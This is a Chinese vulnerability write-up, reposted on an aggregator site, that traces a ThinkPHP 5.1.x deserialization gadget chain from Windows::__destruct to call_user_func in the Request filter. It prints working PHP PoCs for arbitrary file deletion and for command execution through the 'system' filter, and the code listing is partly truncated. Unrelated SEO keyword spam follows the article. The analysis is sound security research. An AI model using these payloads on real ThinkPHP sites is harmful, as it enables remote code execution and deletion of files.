千家信息网

Thinkphp 反序列化利用链深入分析

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,作者:Ethan@知道创宇404实验室时间:2019年9月21日前言今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThinkPHP的反序列化漏洞。今天就探讨一下T
千家信息网最后更新 2025年12月01日Thinkphp 反序列化利用链深入分析

作者:Ethan@知道创宇404实验室
时间:2019年9月21日

前言

今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThinkPHP的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!

环境搭建
  • Thinkphp 5.1.35
  • php 7.0.12
漏洞挖掘思路

在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

漏洞分析

首先漏洞的起点为 /thinkphp/library/think/process/pipes/Windows.php__destruct()

__destruct()里面调用了两个函数,我们跟进 removeFiles()函数。

class Windows extends Pipes{    private $files = [];    ....    private function removeFiles()    {        foreach ($this->files as $filename) {            if (file_exists($filename)) {                @unlink($filename);            }        }        $this->files = [];    }    ....}

这里使用了 $this->files,而且这里的 $files是可控的。所以存在一个任意文件删除的漏洞。

POC可以这样构造:

namespace think\process\pipes;class Pipes{}class Windows extends Pipes{private $files = [];public function __construct(){$this->files=['需要删除文件的路径'];}}echo base64_encode(serialize(new Windows()));

这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。

removeFiles()中使用了 file_exists$filename进行了处理。我们进入 file_exists函数可以知道, $filename会被作为字符串处理。

__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发 __toString 方法。我们全局搜索 __toString方法。

我们跟进 \thinkphp\library\think\model\concern\Conversion.php的Conversion类的第224行,这里调用了一个 toJson()方法。

    .....    public function __toString()    {        return $this->toJson();    }    .....

跟进 toJson()方法

    ....    public function toJson($options = JSON_UNESCAPED_UNICODE)    {        return json_encode($this->toArray(), $options);    }    ....

继续跟进 toArray()方法

   public function toArray()    {        $item    = [];        $visible = [];        $hidden  = [];        .....        // 追加属性(必须定义获取器)        if (!empty($this->append)) {            foreach ($this->append as $key => $name) {                if (is_array($name)) {                    // 追加关联对象属性                    $relation = $this->getRelation($key);                    if (!$relation) {                        $relation = $this->getAttr($key);                        $relation->visible($name);                    }            .....

我们需要在 toArray()函数中寻找一个满足 $可控变量->方法(参数可控)的点,首先,这里调用了一个 getRelation方法。我们跟进 getRelation(),它位于 Attribute类中

    ....    public function getRelation($name = null)    {        if (is_null($name)) {            return $this->relation;        } elseif (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }        return;    }    ....

由于 getRelation()下面的 if语句为 if (!$relation),所以这里不用理会,返回空即可。然后调用了 getAttr方法,我们跟进 getAttr方法

public function getAttr($name, &$item = null)    {        try {            $notFound = false;            $value    = $this->getData($name);        } catch (InvalidArgumentException $e) {            $notFound = true;            $value    = null;        }        ......

继续跟进 getData方法

   public function getData($name = null)    {        if (is_null($name)) {            return $this->data;        } elseif (array_key_exists($name, $this->data)) {            return $this->data[$name];        } elseif (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }

通过查看 getData函数我们可以知道 $relation的值为 $this->data[$name],需要注意的一点是这里类的定义使用的是 Trait而不是 class。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用 use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用 use关键字。然后我们需要找到一个子类同时继承了 Attribute类和 Conversion类。

我们可以在 \thinkphp\library\think\Model.php中找到这样一个类

abstract class Model implements \JsonSerializable, \ArrayAccess{    use model\concern\Attribute;    use model\concern\RelationShip;    use model\concern\ModelEvent;    use model\concern\TimeStamp;    use model\concern\Conversion;    .......

我们梳理一下目前我们需要控制的变量

  1. $files位于类 Windows
  2. $append位于类 Conversion
  3. $data位于类 Attribute

利用链如下:

代码执行点分析

我们现在缺少一个进行代码执行的点,在这个类中需要没有 visible方法。并且最好存在 __call方法,因为 __call一般会存在 __call_user_func__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。可以在 /thinkphp/library/think/Request.php,找到一个 __call函数。 __call 调用不可访问或不存在的方法时被调用。

   ......   public function __call($method, $args)    {        if (array_key_exists($method, $this->hook)) {            array_unshift($args, $this);            return call_user_func_array($this->hook[$method], $args);        }        throw new Exception('method not exists:' . static::class . '->' . $method);    }   .....

但是这里我们只能控制 $args,所以这里很难反序列化成功,但是 $hook这里是可控的,所以我们可以构造一个hook数组 "visable"=>"method",但是 array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。

在Thinkphp的Request类中还有一个功能 filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖 filter的方法去执行代码。

代码位于第1456行。

  ....  private function filterValue(&$value, $key, $filters)    {        $default = array_pop($filters);        foreach ($filters as $filter) {            if (is_callable($filter)) {                // 调用函数或者方法过滤                $value = call_user_func($filter, $value);            }            .....

但这里的 $value不可控,所以我们需要找到可以控制 $value的点。

....    public function input($data = [], $name = '', $default = null, $filter = '')    {        if (false === $name) {            // 获取原始数据            return $data;        }        ....       // 解析过滤器        $filter = $this->getFilter($filter, $default);        if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);            if (version_compare(PHP_VERSION, '7.1.0', '<')) {                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针                $this->arrayReset($data);            }        } else {            $this->filterValue($data, $name, $filter);        }.....

但是input函数的参数不可控,所以我们还得继续寻找可控点。我们继续找一个调用 input函数的地方。我们找到了 param函数。

   public function param($name = '', $default = null, $filter = '')    {         ......        if (true === $name) {            // 获取包含文件上传信息的数组            $file = $this->file();            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;            return $this->input($data, '', $default, $filter);        }        return $this->input($this->param, $name, $default, $filter);    }

这里仍然是不可控的,所以我们继续找调用 param函数的地方。找到了 isAjax函数

    public function isAjax($ajax = false)    {        $value  = $this->server('HTTP_X_REQUESTED_WITH');        $result = 'xmlhttprequest' == strtolower($value) ? true : false;        if (true === $ajax) {            return $result;        }        $result           = $this->param($this->config['var_ajax']) ? true : $result;        $this->mergeParam = false;        return $result;    }

isAjax函数中,我们可以控制 $this->config['var_ajax']$this->config['var_ajax']可控就意味着 param函数中的 $name可控。 param函数中的 $name可控就意味着 input函数中的 $name可控。

param函数可以获得 $_GET数组并赋值给 $this->param

再回到 input函数中

$data = $this->getData($data, $name);

$name的值来自于 $this->config['var_ajax'],我们跟进 getData函数。

    protected function getData(array $data, $name)    {        foreach (explode('.', $name) as $val) {            if (isset($data[$val])) {                $data = $data[$val];            } else {                return;            }        }        return $data;    }

这里 $data直接等于 $data[$val]

然后跟进 getFilter函数

    protected function getFilter($filter, $default)    {        if (is_null($filter)) {            $filter = [];        } else {            $filter = $filter ?: $this->filter;            if (is_string($filter) && false === strpos($filter, '/')) {                $filter = explode(',', $filter);            } else {                $filter = (array) $filter;            }        }        $filter[] = $default;        return $filter;    }

这里的 $filter来自于 this->filter,我们需要定义 this->filter为函数名。

我们再来看一下 input函数,有这么几行代码

....if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);            ...

这是一个回调函数,跟进 filterValue函数。

    private function filterValue(&$value, $key, $filters)    {        $default = array_pop($filters);        foreach ($filters as $filter) {            if (is_callable($filter)) {                // 调用函数或者方法过滤                $value = call_user_func($filter, $value);            } elseif (is_scalar($value)) {                if (false !== strpos($filter, '/')) {                    // 正则过滤                    if (!preg_match($filter, $value)) {                        // 匹配不成功返回默认值                        $value = $default;                        break;                    }         .......

通过分析我们可以发现 filterValue.value的值为第一个通过 GET请求的值,而 filters.keyGET请求的键,并且 filters.filters就等于 input.filters的值。

我们尝试构造payload,这里需要 namespace定义命名空间

append = ["ethan"=>["calc.exe","calc"]];        $this->data = ["ethan"=>new Request()];    }}class Request{    protected $hook = [];    protected $filter = "system";    protected $config = [        // 表单请求类型伪装变量        'var_method'       => '_method',        // 表单ajax伪装变量        'var_ajax'         => '_ajax',        // 表单pjax伪装变量        'var_pjax'         => '_pjax',        // PATHINFO变量名 用于兼容模式        'var_pathinfo'     => 's',        // 兼容PATH_INFO获取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],        // 默认全局过滤方法 用逗号分隔多个        'default_filter'   => '',        // 域名根,如thinkphp.cn        'url_domain_root'  => '',        // HTTPS代理标识        'https_agent_name' => '',        // IP代理获取标识        'http_agent_ip'    => 'HTTP_X_REAL_IP',        // URL伪静态后缀        'url_html_suffix'  => 'html',    ];    function __construct(){        $this->filter = "system";        $this->config = ["var_ajax"=>''];        $this->hook = ["visible"=>[$this,"isAjax"]];    }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{    private $files = [];    public function __construct()    {        $this->files=[new Pivot()];    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>

首先自己构造一个利用点,别问我为什么,这个漏洞就是需要后期开发的时候有利用点,才能触发

我们把payload通过 POST传过去,然后通过 GET请求获取需要执行的命令

执行点如下:

利用链如下:

参考文章

https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/

https://xz.aliyun.com/t/3674

https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

http://www.f4ckweb.top/index.php/archives/73/

https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/

函数 方法 漏洞 序列 代码 变量 数组 属性 分析 对象 文件 控制 功能 表单 成功 两个 全局 关键 关键字 参数 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中国广电互联网科技 怎么查数据库名称 远程服务器调出任务管理器 湖北电力子母钟服务器 软件开发工作量与代码行数 服务器无法开机可能是什么原因 宸铭网络技术服务有限公司 服务器可以给光口配置ip吗 软件开发工程师简历排版 数据库中的索引合并 崇明区网络软件开发要多少钱 英国的互联网科技有哪些 计算机网络技术专业知识实习报告 mysql数据库突然启动不 湘潭配方管理软件开发 无法连接至服务器未知的主机 戴尔服务器无限重启 小软件开发用什么软件开发 计算机三级网络技术大题总结 懂数据库找什么工作 网络安全检查中发现的问题 邵阳市计算机软件开发编程 轩雨阁网络技术服务简介 请求报文的服务器地址 中科曙光服务器中标 jabber服务器管理 慧帮科技互联网基础 软件开发模型使用情况 武隆区工商软件开发流程报价表 中兴服务器指示灯图解
0